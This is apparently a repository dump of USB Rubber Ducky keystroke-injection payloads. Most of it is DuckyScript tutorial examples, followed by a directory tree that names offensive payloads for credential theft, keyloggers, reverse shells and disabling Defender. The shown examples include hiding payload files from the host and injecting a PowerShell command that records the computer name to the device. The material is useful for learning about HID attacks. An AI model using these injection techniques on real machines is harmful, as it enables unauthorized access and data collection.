REM Once $FOO reaches zero, the WHILE condition will no longer evaluate to TRUE. The payload will continue execution after the END_WHILE statement, where the LED will light red.
REM If the button is pressed at any time during the payload execution, the WHILE loop will end and the USB Rubber Ducky will enter ATTACKMODE STORAGE since that is the default behavior when no BUTTON_DEF has been initiated.
================================================
FILE: payloads/examples/Loops/Loops-example2.txt
================================================
REM Example while loop - press the button 5 times
VAR $FOO = 5
WHILE ( $FOO > 0 )
STRINGLN Press the button...
WAIT_FOR_BUTTON_PRESS
$FOO = ( $FOO - 1 )
END_WHILE
STRINGLN You pressed the button 5 times!
REM The variable $FOO is set to 5.
REM The code block within the WHILE loop will be repeated until the expression evaluates to FALSE.
REM For each run of the code block, the message "Press the button..." is typed. The payload then waits until it detects the button is pressed, at which point the variable $FOO is decremented.
================================================
FILE: payloads/examples/Loops/Loops-example3.txt
================================================
REM Example Infinite Loop
BUTTON_DEF
WHILE TRUE
LED_R
DELAY 500
LED_OFF
DELAY 500
END_WHILE
END_BUTTON
WHILE TRUE
LED_G
DELAY 500
LED_OFF
DELAY 500
END_WHILE
REM Because a button definition has been initiated with BUTTON_DEF, the default behavior will no longer apply when the button is pressed.
REM The LED will blink green: half a second on, half a second off.
REM Pressing the button will stop the currently infinite loop of blinking the LED green and execute the button definition, thus blinking the LED red.
================================================
FILE: payloads/examples/Operators/Operators-example1.txt
================================================
REM Assign $FOO to 42
VAR $FOO = 42
REM The variable is now 42.
REM Let’s add it by 1.
$FOO = ( $FOO + 1 )
REM The variable is now 43: the sum of 42 and 1.
REM Let’s subtract it by 1.
$FOO = ( $FOO - 1 )
REM The variable is now 42 (again):
REM the difference of 42 and 1.
REM Let’s multiply it by 2.
$FOO = ( $FOO * 2 )
REM The variable is now 84:
REM the product of 42 and 2.
REM Let’s divide it by 2.
$FOO = ( $FOO / 2 )
REM The variable is now 42 (again):
REM the quotient of 82 and 2.
REM Let’s modulus it by 4.
$FOO = ( $FOO % 4 )
REM The variable is now 2:
REM the signed remainder of 42 and 4.
REM Let’s raise it to the power of 6.
$FOO = ( $FOO ^ 6 )
REM Our variable is now 64:
REM the exponent of 2 and 6.
================================================
FILE: payloads/examples/Operators/Operators-example2.txt
================================================
REM The order of operations (order precedence) are a set of rules that define which procedures are performed first in order to evaluate an expression, similar to that of mathematics.
REM In DuckyScript, parenthesis ( ) are required to define the precedence conventions.
VAR $FOO = ( 4 * 10 ) + 2
REM The expression ( 4 * 10 ) evalues to 40.
REM The expression 40 + 2 evalues to 42.
REM If multiple pairs of parentheses are required, the parentheses can be nested.
VAR $FOO = 42
VAR $BAR = (( 100 * 13 ) + ( $FOO - 5 ))
REM The expression 42 - 5 evalues to 37
REM The expression ( 100 * 13 ) evalues to 1300
REM The expression 1300 + 37 evalues to 1337
================================================
FILE: payloads/examples/Operators/Operators-example3.txt
================================================
REM Bitwise operators are operators which operate on the uint16 values at the binary level.
ATTACKMODE HID STORAGE VID_05AC PID_021E
VAR $FOO = $_CURRENT_VID
REM Because VID/PID parameters are little endian,
$FOO = ((($FOO >> 8) & 0x00FF) | (($FOO << 8) & 0xFF00))
REM $FOO will now equal 0xAC05
REM The value of $_CURRENT_VID is saved into the variable $FOO as AC05.
REM Using bitwise operators its endianness is swapped to 05AC.
================================================
FILE: payloads/examples/Payload Control/Payload-Control-example1.txt
================================================
REM Example RESTART_PAYLOAD
ATTACKMODE HID STORAGE
DELAY 2000
STRINGLN Hello, World!
RESTART_PAYLOAD
STRINGLN Nothing to see here.
REM The payload loop typing the "Hello, World!" line infinitely.
REM The "Nothing to see here." string will never be typed.
================================================
FILE: payloads/examples/Payload Control/Payload-Control-example2.txt
================================================
REM Example STOP_PAYLOAD
ATTACKMODE HID STORAGE
DELAY 2000
BUTTON_DEF
STOP_PAYLOAD
END_BUTTON
WHILE TRUE
RANDOM_CHARACTER
END_WHILE
REM The payload will continuously type a random character.
REM Pressing the button will stop the payload.
================================================
FILE: payloads/examples/Payload Control/Payload-Control-example3.txt
================================================
REM Example RESET
ATTACKMODE HID STORAGE
DELAY 2000
INJECT_MOD
HOLD SHIFT
HOLD a
DELAY 700
RELEASE a
RESET
DELAY 1000
STRING nd reset
REM On a Windows or Linux target, the payload may result in AAAAAAAAAAAAnd reset
REM Notice that a RELEASE SHIFT command was omitted, and yet the nd reset string is lowercase. This is because the RESET command released all keys.
================================================
FILE: payloads/examples/Payload Hiding/Payload-Hiding-example1.txt
================================================
ATTACKMODE OFF
BUTTON_DEF
ATTACKMODE OFF
RESTORE_PAYLOAD
ATTACKMODE STORAGE
END_BUTTON
HIDE_PAYLOAD
ATTACKMODE HID STORAGE
DELAY 2000
STRING Nothing to see here...
REM Upon first enumeration, the attached computer will not be able to see the inject.bin or seed.bin files on the USB Rubber Ducky storage.
REM Pressing the button will re-enumerate the USB Rubber Ducky storage with both files visible once more.
================================================
FILE: payloads/examples/Randomization/Randomization-example1.txt
================================================
REM Example Random Keys
ATTACKMODE HID STORAGE
DELAY 2000
BUTTON_DEF
RANDOM_CHARACTER
END_BUTTON
STRINGLN Here are 10 random lowercase letters:
VAR $TIMES = 10
WHILE ($TIMES > 0)
RANDOM_LOWERCASE_LETTER
$TIMES = ($TIMES - 1)
END_WHILE
ENTER
ENTER
STRINGLN Here are 20 random numbers:
VAR $TIMES = 20
WHILE ($TIMES > 0)
RANDOM_NUMBER
$TIMES = ($TIMES - 1)
END_WHILE
ENTER
ENTER
STRINGLN Here are 3 random special characters:
RANDOM_SPECIAL
RANDOM_SPECIAL
RANDOM_SPECIAL
STRINGLN Press the button for a random character:
REM This payload will type:
REM 10 random lowercase letters, per the while loop.
REM 20 random numbers, per the while loop.
REM 3 random special characters.
REM The payload will then instruct the user to press the button.
REM On each press of the button, the BUTTON_DEF will execute.
REM This special functions contains the RANDOM_CHARACTER command, and thus a random character will be typed.
================================================
FILE: payloads/examples/Randomization/Randomization-example2.txt
================================================
REM Example Random Integer
ATTACKMODE HID STORAGE
LED_OFF
VAR $A = $_RANDOM_INT
WHILE ($A > 0)
LED_G
DELAY 500
LED_OFF
DELAY 500
$A = ($A - 1)
END_WHILE
REM Each time this payload is executed, the LED will randomly blink between 1 and 9 times.
================================================
FILE: payloads/examples/Randomization/Randomization-example3.txt
================================================
REM Example Random Integer Example with Range
ATTACKMODE HID STORAGE
LED_OFF
$_RANDOM_MIN = 20
$_RANDOM_MAX = 50
VAR $A = $_RANDOM_INT
WHILE ($A > 0)
LED_G
DELAY 500
LED_OFF
DELAY 500
$A = ($A - 1)
END_WHILE
REM Each time this payload is executed, the LED will blink a random number of times between 20 and 50.
================================================
FILE: payloads/examples/Randomization/Randomization-example4.txt
================================================
REM !!!! Use caution with random VID and PID values as unexpected results are likely !!!!
ATTACKMODE OFF
WHILE TRUE
ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM
LED_R
DELAY 2000
STRINGLN Hello, World!
WAIT_FOR_BUTTON_PRESS
LED_G
END_WHILE
REM On each press of the button, the USB Rubber Ducky will re-enumerate as a new USB HID device with a random VID, PID, MAN, PROD and SERIAL.
REM The string Hello, World! may be typed.
REM Because VID and PID values may dictate device driver initialization, the USB Rubber Ducky may not be correctly enumerated as a Human Interface Device by the target OS.
================================================
FILE: payloads/examples/Storage Activity/Storage-Activity-example1.txt
================================================
REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptionally long time. You may need to experiment with this feature to achieve the desired results for your given target. !!!!
REM Example WAIT_FOR_STORAGE_ACTIVITY Payload
ATTACKMODE HID STORAGE
DELAY 2000
LED_OFF
STRINGLN Waiting for the disk to be read from or written to...
$_STORAGE_ACTIVITY_TIMEOUT = 10000
WAIT_FOR_STORAGE_ACTIVITY
LED_OFF
LED_R
REM The WAIT_FOR_STORAGE_ACTIVITY command blocks all further payload execution until activity on the USB Rubber Ducky storage has been detected.
REM The LED will light red after storage activity has been detected.
================================================
FILE: payloads/examples/Storage Activity/Storage-Activity-example2.txt
================================================
REM !!!! Results may vary greatly depending on target OS. Some operating systems may keep storage active for an exceptionally long time. You may need to experiment with this feature to achieve the desired results for your given target. !!!!
REM Example WAIT_FOR_STORAGE_INACTIVITY Payload
ATTACKMODE HID STORAGE
DELAY 2000
LED_OFF
GUI r
DELAY 100
STRINGLN powershell "$m=(Get-Volume -FileSystemLabel 'DUCKY').DriveLetter;echo $env:computername >> $m:\computer_names.txt"
$_STORAGE_ACTIVITY_TIMEOUT = 10000
WAIT_FOR_STORAGE_INACTIVITY
LED_OFF
LED_R
REM The LED will light red when the storage device becomes inactive.
================================================
FILE: payloads/examples/Tests/test-suite.txt
================================================
VAR $PASS = 0
VAR $FAILED = 0
VAR $TOGGLE = 0
VAR $CD = 3
FUNCTION PASSED()
STRINGLN P
$PASS = ($PASS + 1)
END_FUNCTION
FUNCTION FAIL()
STRINGLN F
LED_R
$FAILED = ($FAILED + 1)
END_FUNCTION
EXTENSION TRANSLATE()
REM DEFINE STRICT_TRUTH FALSE
DEFINE PRINT_INT 0
DEFINE PRINT_HEX 1
VAR $DIGIT_PRINT_MODE = PRINT_INT
VAR $D = 0
VAR $IN = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
VAR $NL = TRUE
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
IF ($D == 10) THEN
STRING A
ELSE IF ($D == 11) THEN
STRING B
ELSE IF ($D == 12) THEN
STRING C
ELSE IF ($D == 13) THEN
STRING D
ELSE IF ($D == 14) THEN
STRING E
ELSE IF ($D == 15) THEN
STRING F
END_IF
ELSE
STRING ?
END_IF
END_FUNCTION
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
FUNCTION SWAP_ENDIAN()
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
END_FUNCTION
FUNCTION TRANSLATE_INT()
$DIGIT_PRINT_MODE = PRINT_INT
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
IF $NL THEN
ENTER
END_IF
END_FUNCTION
FUNCTION TRANSLATE_BOOL()
REM IF STRICT_TRUTH THEN
REM IF ($INPUT == TRUE) THEN
REM STRING TRUE
REM ELSE IF ($INPUT == FALSE) THEN
REM STRING FALSE
REM ELSE
REM STRING ?
REM END_IF
REM ELSE
IF $INPUT THEN
STRING TRUE
ELSE
STRING FALSE
END_IF
REM END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
FUNCTION TRANSLATE_HEX()
$DIGIT_
gitextract_eont25d2/
├── .github/
│ └── ISSUE_TEMPLATE/
│ ├── config.yaml
│ └── payload_bug.yaml
├── .gitignore
├── CONTRIBUTING.md
├── README.md
├── languages/
│ ├── be.json
│ ├── br.json
│ ├── ca-fr.json
│ ├── ca.json
│ ├── ch.json
│ ├── cz.json
│ ├── de.json
│ ├── de_mac.json
│ ├── dk.json
│ ├── es-la.json
│ ├── es.json
│ ├── fi.json
│ ├── fr.json
│ ├── gb.json
│ ├── hr.json
│ ├── hu.json
│ ├── it.json
│ ├── jp.json
│ ├── mx.json
│ ├── no.json
│ ├── pt.json
│ ├── se.json
│ ├── si.json
│ ├── sk.json
│ ├── tr.json
│ └── us.json
└── payloads/
├── examples/
│ ├── ATTACKMODE/
│ │ ├── ATTACKMODE-example1.txt
│ │ └── ATTACKMODE-example2.txt
│ ├── Button/
│ │ ├── Button-example1.txt
│ │ ├── Button-example2.txt
│ │ ├── Button-example3.txt
│ │ ├── Button-example4.txt
│ │ ├── Button-example5.txt
│ │ ├── Button-example6.txt
│ │ ├── Button-example7.txt
│ │ ├── Button-example8.txt
│ │ └── Button-example9.txt
│ ├── Conditions/
│ │ ├── Conditions-example1.txt
│ │ ├── Conditions-example2.txt
│ │ ├── Conditions-example3.txt
│ │ ├── Conditions-example4.txt
│ │ ├── Conditions-example5.txt
│ │ └── Conditions-example6.txt
│ ├── Example_Payloads/
│ │ ├── konami_cave.txt
│ │ └── payload_menu.txt
│ ├── Exfiltration/
│ │ ├── Exfiltration-example1.txt
│ │ ├── Exfiltration-example2.txt
│ │ ├── Exfiltration-example3.txt
│ │ └── Exfiltration-example4.txt
│ ├── Functions/
│ │ ├── Functions-example1.txt
│ │ └── Functions-example2.txt
│ ├── Holding Keys/
│ │ ├── Holding-Keys-example1.txt
│ │ ├── Holding-Keys-example2.txt
│ │ └── Holding-Keys-example3.txt
│ ├── Jitter/
│ │ ├── Jitter-example1.txt
│ │ └── Jitter-example2.txt
│ ├── LED/
│ │ ├── LED-example1.txt
│ │ ├── LED-example2.txt
│ │ └── LED-example3.txt
│ ├── Lock Keys/
│ │ ├── Lock-Keys-example1.txt
│ │ ├── Lock-Keys-example2.txt
│ │ ├── Lock-Keys-example3.txt
│ │ └── Lock-Keys-example4.txt
│ ├── Loops/
│ │ ├── Loops-example1.txt
│ │ ├── Loops-example2.txt
│ │ └── Loops-example3.txt
│ ├── Operators/
│ │ ├── Operators-example1.txt
│ │ ├── Operators-example2.txt
│ │ └── Operators-example3.txt
│ ├── Payload Control/
│ │ ├── Payload-Control-example1.txt
│ │ ├── Payload-Control-example2.txt
│ │ └── Payload-Control-example3.txt
│ ├── Payload Hiding/
│ │ └── Payload-Hiding-example1.txt
│ ├── Randomization/
│ │ ├── Randomization-example1.txt
│ │ ├── Randomization-example2.txt
│ │ ├── Randomization-example3.txt
│ │ └── Randomization-example4.txt
│ ├── Storage Activity/
│ │ ├── Storage-Activity-example1.txt
│ │ └── Storage-Activity-example2.txt
│ ├── Tests/
│ │ └── test-suite.txt
│ └── Variables/
│ └── VAR-example1.txt
├── extensions/
│ ├── button_deploy.txt
│ ├── community/
│ │ ├── DETECT_FINISHED
│ │ ├── POWERSHELL_DOWNLOAD
│ │ ├── POWERSHELL_TO_DROPBOX
│ │ ├── ROLLING_POWERSHELL_EXECUTION
│ │ ├── RUN_HOSTED_POWERSHELL
│ │ ├── SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/
│ │ │ ├── README.md
│ │ │ └── SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt
│ │ ├── WINDOWS11_CONSOLE_DOWNGRADE
│ │ ├── WINDOWS_ELEVATED_EXECUTION
│ │ └── WINDOWS_FILELESS_HID_EXFIL
│ ├── detect_ready.txt
│ ├── exfil_auto_eof_detect.txt
│ ├── hello_os.txt
│ ├── linux_hid_exfil.txt
│ ├── os_detect.txt
│ ├── passive_detect_ready.txt
│ ├── passive_windows_detect.txt
│ ├── protected_storage_mode.txt
│ ├── self_destruct.txt
│ ├── translate.txt
│ └── windows_hid_exfil.txt
└── library/
├── credentials/
│ ├── -RD-Credz-Plz/
│ │ ├── Credz-Plz-Execute.txt
│ │ ├── Credz-Plz.ps1
│ │ └── README.md
│ ├── BitLockerKeyDump/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Browser-Passwords-Dropbox-Exfiltration/
│ │ ├── ReadMe.md
│ │ ├── Version 01/
│ │ │ ├── Browser-Passwords-Dropbox-Exfiltration.ps1
│ │ │ └── payload.txt
│ │ └── payload.txt
│ ├── DevilsCupid/
│ │ ├── README.md
│ │ ├── devilsCupid.ps1
│ │ └── sourceCode.txt
│ ├── Duckie-Harvest/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── sy_cred.ps1
│ ├── DuckyLogger/
│ │ ├── README.md
│ │ ├── duckyLoggerDecoder
│ │ └── payload.txt
│ ├── DuckyLogger2/
│ │ ├── README.md
│ │ ├── duckyLoggerDecoder
│ │ └── payload.txt
│ ├── ExfiltrateWiFiPasswords_Linux/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Funni_Stick_V3/
│ │ ├── Funni_Stick_V3
│ │ └── README.txt
│ ├── Hasta lasagna!/
│ │ ├── Hasta Lasagna.ps1
│ │ └── payload.txt
│ ├── Local_WLAN_Borrower/
│ │ ├── 1.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SamDumpDucky/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Simple_User_Password_Grabber/
│ │ └── payload.txt
│ ├── WLAN-Windows-Passwords/
│ │ ├── README.md
│ │ ├── Windows-Passwords.ps1
│ │ └── payload.txt
│ ├── WindowsLicenseKeyExfiltration/
│ │ ├── WindowsLicenseKeyExfiltration.txt
│ │ └── readme.md
│ ├── datacopier/
│ │ └── datacopier
│ └── sudoSnatch/
│ └── payload.txt
├── execution/
│ ├── $MFT-Duck-Crasher/
│ │ └── payload.txt
│ ├── -RD-Play-WAV/
│ │ ├── Play-WAV.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-SafeHaven/
│ │ ├── README.md
│ │ └── SafeHaven.txt
│ ├── -RD-ShortcutJacker/
│ │ ├── README.md
│ │ ├── Shortcut-Jacker-Execute.txt
│ │ └── Shortcut-Jacker.ps1
│ ├── -RD-UrAttaControl/
│ │ ├── README.md
│ │ └── UrAttaControl-Execute.txt
│ ├── Add_An_Excepiton_To_Avast_Antivirus/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Add_Local_Admin/
│ │ └── payload.txt
│ ├── Admin_Who_Never_Sleeps/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── BeEF_Injection/
│ │ └── payload.txt
│ ├── Call_Someone_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeGitRemoteLink/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeMacAddress_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeNetworkConfiguration_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_Github_Profile_Settings/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_Windows_User_Name/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_the_password_of_the_windows_user/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── CloseAllApplicationsInWindows/
│ │ ├── README.md
│ │ ├── close_all_app.ps1
│ │ ├── payload.txt
│ │ └── script.py
│ ├── DNS-TXT-CommandInjection/
│ │ ├── DNS-TXT-CommandInjection.txt
│ │ ├── README.md
│ │ └── powershellReverseShellOne-liner.ps1
│ ├── DUCKY_REAPER/
│ │ └── payload.txt
│ ├── DawnKit/
│ │ └── payload.txt
│ ├── Defend_yourself_against_AtlasVPN_Bug-Door/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Delete_A_Reminder_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Disable_Windows_Defender22H2/
│ │ └── Disable_Windows_Defender.txt
│ ├── DuckyHelper/
│ │ └── DuckyHelper.txt
│ ├── Edit_A_Reminder_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Edit_The_Default_Real_App_With_An_Arbitrary/
│ │ ├── README.md
│ │ ├── [EXAMPLE]arbitrary_file.desktop
│ │ ├── [EXAMPLE]original_desktop_file.desktop
│ │ └── payload.txt
│ ├── ExploitingAnExecutableFile/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Follow_Someone_On_Instagram/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/
│ │ ├── README.md
│ │ ├── assets/
│ │ │ ├── README.md
│ │ │ ├── convert_to_hex.py
│ │ │ ├── example.hex
│ │ │ └── example.py
│ │ └── payload.txt
│ ├── Install_Any_Arbitrary_VSCode_Extension/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Install_Official_VSCode_Extension/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Kill-Explorer/
│ │ ├── Kill-Explorer.txt
│ │ └── README.md
│ ├── Make_Windows_performant_but_ugly_and_boring/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Persistent_Keylogger-Telegram_Based/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── Persistent_Reverse_Shell-Telegram_Based/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── Play_A_Song_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Replace_Links_In_GithubDesktop/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendEmailThroughThunderbird/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Send_Messages_In_Discord_Channel-Server/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SetArbitraryVPN_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_An_Arbitrary_And_Persistent_Tor_Circuit/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_An_Arbitrary_DNS-IPv4_version/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_Tor_Bridge_In_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Simple_PSH_Wallpaper_Changer/
│ │ └── Payload.txt
│ ├── Starting_a_PowerShell_with_administrator_permissions_in_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Stop_A_Single_Process_In_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Telegram_Persistent_Connection_Linux/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── UninstallSignal/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Win_HID_InvisableDesktopFolder/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Windows-Duck-In-The-Middle/
│ │ ├── README.md
│ │ └── payload.txt
│ └── termBomb/
│ └── payload.txt
├── exfiltration/
│ ├── Bash-History/
│ │ └── payload.txt
│ ├── Bookmark-Hog/
│ │ ├── BH.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ClipBoard-Creep/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Copy-And-Waste/
│ │ ├── I.bat
│ │ ├── README.md
│ │ ├── c.ps1
│ │ └── payload.txt
│ ├── Create_And_Exfiltrate_A_Webhook_Of_Discord/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── DUCKY-WIFI_GRABER/
│ │ └── payload.txt
│ ├── Discord_Windows_Wifi_IP-Info/
│ │ └── payload.txt
│ ├── Dropbox-Bandit/
│ │ ├── ex-readable-src.ps1
│ │ ├── ex.ps1
│ │ ├── payload.txt
│ │ ├── payload_duckyscript_old.txt
│ │ └── readme.md
│ ├── Ducky_Crab/
│ │ └── payload.txt
│ ├── Dump_Windows_Memory_Through_ProcDump/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate Computer Screenshots/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── ExfiltrateCloudCreds/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateLinuxContentWithDropbox/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateLinuxLogFiles/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateNetworkConfiguration_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateNetworkTraffic_Linux/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── ExfiltratePhotosThroughShell/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── ExfiltrateProcessInfo_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateProcessInfo_Windows/
│ │ ├── ExfiltrateProcessInfo.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateSSHKeys/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate_Windows_Product_Key/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate_file_through_GUI_mac/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrates_the_entire_database_of_the_Notion_client/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Export_Cookies_From_Firefox/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Export_all_saved_certificates_with_Adobe_Reader/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exports_all_the_links_of_the_downloads/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Gather_Network_Info/
│ │ └── payload.txt
│ ├── Google-Exfil/
│ │ ├── README.md
│ │ ├── payload.ps1
│ │ └── payload.txt
│ ├── HashDumpDucky/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── History-Grabber/
│ │ └── payload.txt
│ ├── IP-Out/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Lazagne-Exfil/
│ │ ├── README.md
│ │ ├── payload.ps1
│ │ └── payload.txt
│ ├── Lin_ICMP-Data-Exfiltration/
│ │ ├── README.md
│ │ ├── payload.sh
│ │ └── payload.txt
│ ├── Mail-Grabber/
│ │ └── payload.txt
│ ├── Poor_Mans_Nmap/
│ │ └── payload.txt
│ ├── Powershell-History/
│ │ ├── PH.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Printer-Recon/
│ │ ├── PR.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Priv-Paths/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Proton-Hog/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── s.ps1
│ ├── ProtonVPN-config/
│ │ ├── ProtonVPN-config.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Public-IP-Grabber/
│ │ └── payload.txt
│ ├── Pwn-Drive/
│ │ ├── README.md
│ │ ├── c.ps1
│ │ └── payload.txt
│ ├── Screen-Shock/
│ │ ├── I.bat
│ │ ├── README.md
│ │ ├── c.ps1
│ │ ├── payload.txt
│ │ └── placeholder
│ ├── Spotify-Spy/
│ │ ├── README.md
│ │ ├── SS.ps1
│ │ └── payload.txt
│ ├── System-Stealer/
│ │ └── payload.txt
│ ├── Tree_structure_of_the_operating_system/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── WIFIPASS-to-Dropbox/
│ │ └── payload.txt
│ ├── WiFi-Passwords-Exfiltration-Via-SCP/
│ │ ├── Payload.txt
│ │ └── README.md
│ ├── WifiCredSidechannelExfil/
│ │ └── payload.txt
│ ├── WifiPassGrabberPOST/
│ │ └── payload.txt
│ ├── WifiProfileExtractor/
│ │ └── payload.txt
│ ├── Win_Hid_ImgOverKey/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Win_PoSH_MorseCode/
│ │ ├── MorseCodeFileExfiltration.ps1
│ │ ├── b.txt
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Windows-Privilege-Excalibur/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-Product-Key-Grabber/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-Screenshot-Exfil/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-netstat/
│ │ ├── README.md
│ │ ├── Windows-netstat.ps1
│ │ └── payload.txt
│ ├── chrome-exfil/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── iMessage-Data-Grabber/
│ │ └── payload.txt
│ ├── ntlm_exfiltration/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── rickroll_terminal_payload/
│ │ └── payload.txt
│ └── screenshot_exfil/
│ └── payload.txt
├── general/
│ ├── -RD-PineApple/
│ │ ├── PineApple-KeyInjection.txt
│ │ ├── PineApple.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-Subscribe/
│ │ ├── README.md
│ │ ├── Subscribe.ps1
│ │ ├── Subscribe.txt
│ │ └── payload.txt
│ ├── 1_Script_to_Rule_Them_All/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── 3_Payload_Menu/
│ │ └── payload.txt
│ ├── Ascii/
│ │ ├── Win_HID_ALT-Code-Art/
│ │ │ ├── payload.txt
│ │ │ └── readme.md
│ │ └── Win_HID_MonaLisa/
│ │ ├── MonaLisa.txt
│ │ └── readme.md
│ ├── Canary_Duck/
│ │ └── payload.txt
│ ├── ChromebookProvisioning/
│ │ └── payload.txt
│ ├── Defeat_Defender/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── Disable-Windows-Defender-Permanently/
│ │ └── payload.txt
│ ├── Disable_Windows_Defender/
│ │ └── payload.txt
│ ├── DuckyCave-Game/
│ │ └── payload.txt
│ ├── EngagementDucky/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Hotfix_Warning/
│ │ └── payload.txt
│ ├── Multi_HID_The-Penny-Drops/
│ │ ├── Payload.txt
│ │ └── readme.md
│ ├── OneDuckToQuackThemAll/
│ │ ├── Docs/
│ │ │ └── gpl.txt
│ │ ├── Payload.txt
